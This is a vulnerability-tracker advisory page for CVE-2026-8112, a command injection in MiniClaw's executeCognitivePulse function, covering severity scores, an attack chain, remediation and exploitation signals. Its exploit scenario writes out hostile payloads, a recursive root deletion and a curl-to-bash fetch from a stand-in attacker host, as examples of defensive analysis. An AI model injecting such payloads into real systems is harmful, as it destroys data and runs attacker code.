Skip to main content

8421bit MiniClaw CVE-2026-8112

| EUVDEUVD-2026-28466 LOW
OS Command Injection (CWE-78)
2026-05-07 VulDB GHSA-q253-8qxh-gx79
2.1
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate to MiniClaw service
  2. Delivery
    Submit prompt with shell metacharacters
  3. Exploit
    executeCognitivePulse constructs unsafe command string
  4. Install
    exec() invokes shell
  5. C2
    Shell interprets metacharacters
  6. Execute
    Arbitrary OS command executes with MiniClaw process privileges
  7. Impact
    Attacker achieves persistence or data exfiltration

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires: (1) Network access to the MiniClaw service (AV:N), (2) valid authentication credentials (PR:L-user-level or application-level authentication, not admin), (3) ability to submit a prompt to the executeCognitivePulse function, and (4) at least one external CLI tool (ollama, ccr, gemini, qodercli, opencode, codex, claude, aider, fabric, gh, or interpreter) present in the system PATH. No special configuration is required-the vulnerability exists in default deployments. The vulnerability is NOT limited to a specific platform or version due to rolling release model. Exploitation is prevented by: (a) patching to commit 028f62216dee9f64833d0f1cfda7c217067ceba8 or later, (b) blocking network access to MiniClaw from untrusted networks, or (c) removing or disabling all external CLI tools if they are not required for operation.

Impact

CVSS 6.3 with AV:N/AC:L/PR:L reflects network-exploitable command injection requiring authenticated access (PR:L). However, EPSS exploitation probability and real-world risk are notably elevated by public proof-of-concept code (E:P in CVSS vector) and the straightforward nature of command injection attacks. The AC:L (low complexity) indicates minimal attacker effort required once authenticated. The limiting factor is PR:L authentication requirement-this is not unauthenticated remote code execution, reducing immediate risk in externally-facing scenarios but creating high risk for internal/trusted-user threats. CVSS scope unchanged (S:U) means impact is limited to the MiniClaw process itself, not system-wide. The RL:O (Official Fix Available) status confirms patch availability. Real-world priority depends on deployment model: if MiniClaw is exposed to untrusted authenticated users or if authentication can be bypassed, exploitation probability increases significantly. The patch's transition from exec() to spawn() is a well-established secure coding practice, making patch deployment straightforward with no expected side effects.

Exploit ScenarioDerived

An authenticated user sends a crafted API request to MiniClaw with a prompt parameter containing shell metacharacters such as ; rm -rf / or $(curl attacker.com/malware.sh | bash). The executeCognitivePulse function constructs a command string by concatenating the prompt directly into the command passed to exec(), causing the shell to interpret these metacharacters and execute the injected payload with MiniClaw's process privileges.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
Patch available 0.7% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 07, 2026

OS command injection in 8421bit MiniClaw's executeCognitivePulse function allows authenticated remote attackers to inject arbitrary shell commands via unsanitized prompt input passed to external CLI tools. The vulnerability stems from unsafe string interpolation in command construction, enabling execution of system commands with the privileges of the MiniClaw process. Publicly available exploit code exists, and vendor-released patch commit 028f62216dee9f64833d0f1cfda7c217067ceba8 is available on GitHub.

RemediationAI

Deploy patch commit 028f62216dee9f64833d0f1cfda7c217067ceba8 or a later version. The patch replaces unsafe exec() calls with spawn() using array-based argument passing, eliminating shell metacharacter interpretation. Users on rolling releases should pull the latest commit from https://github.com/8421bit/MiniClaw/. Patch details are available at https://github.com/8421bit/MiniClaw/pull/7. If immediate patching is not possible, restrict network access to MiniClaw to trusted internal users only, limit the set of available external CLI tools (removing those not in use), and implement input validation on prompts to block common command injection payloads (though this is not a substitute for patching). Verify external CLI tools (ollama, ccr, gemini, etc.) are properly sandboxed, as command injection can invoke any system command available in the MiniClaw process's PATH.

Affected VersionsENISA

MiniClaw 223c16a1088e138838dcbd18cd65a37c35ac5a84

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

MiniClaw is a Node.js-based application that integrates with external CLI tools (ollama, ccr, gemini, qodercli, etc.) for cognitive processing. The vulnerable executeCognitivePulse function in src/kernel.ts was constructing shell commands by string concatenation, concatenating user-supplied prompts directly into command strings passed to exec() without escaping or validation. The root cause (CWE-78: Improper Neutralization of Special Elements used in an OS Command) resulted from using exec() which spawns a shell and interprets metacharacters. The patch replaces exec() with spawn() using array-based argument passing, which bypasses shell interpretation and prevents command injection. CPE cpe:2.3:a:8421bit:miniclaw:*:*:*:*:*:*:*:* indicates all versions of MiniClaw are potentially affected.

Know when Miniclaw gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 2.1 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P

Primary rating from Vendor (VulDB) · only source for this CVE.

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
Severity Changed
May 07, 2026 - 22:22 NVD
MEDIUM LOW
CVSS changed
May 07, 2026 - 22:22 NVD
6.3 (MEDIUM) 2.1 (LOW)
CVE Published
May 07, 2026 - 21:00 nvd
MEDIUM 6.3

DescriptionCVE.org

A vulnerability was found in 8421bit MiniClaw up to 223c16a1088e138838dcbd18cd65a37c35ac5a84. Affected is the function executeCognitivePulse of the file src/kernel.ts. Performing a manipulation results in os command injection. It is possible to initiate the attack remotely. The exploit has been made public and could be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The patch is named 028f62216dee9f64833d0f1cfda7c217067ceba8. To fix this issue, it is recommended to deploy a patch.

Threat Intelligence Overview

EPSS Score
0.7%
Top 27% exploitable
Exploit
POC
Public exploit code exists
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.7%
Patch available Yes
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

31
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy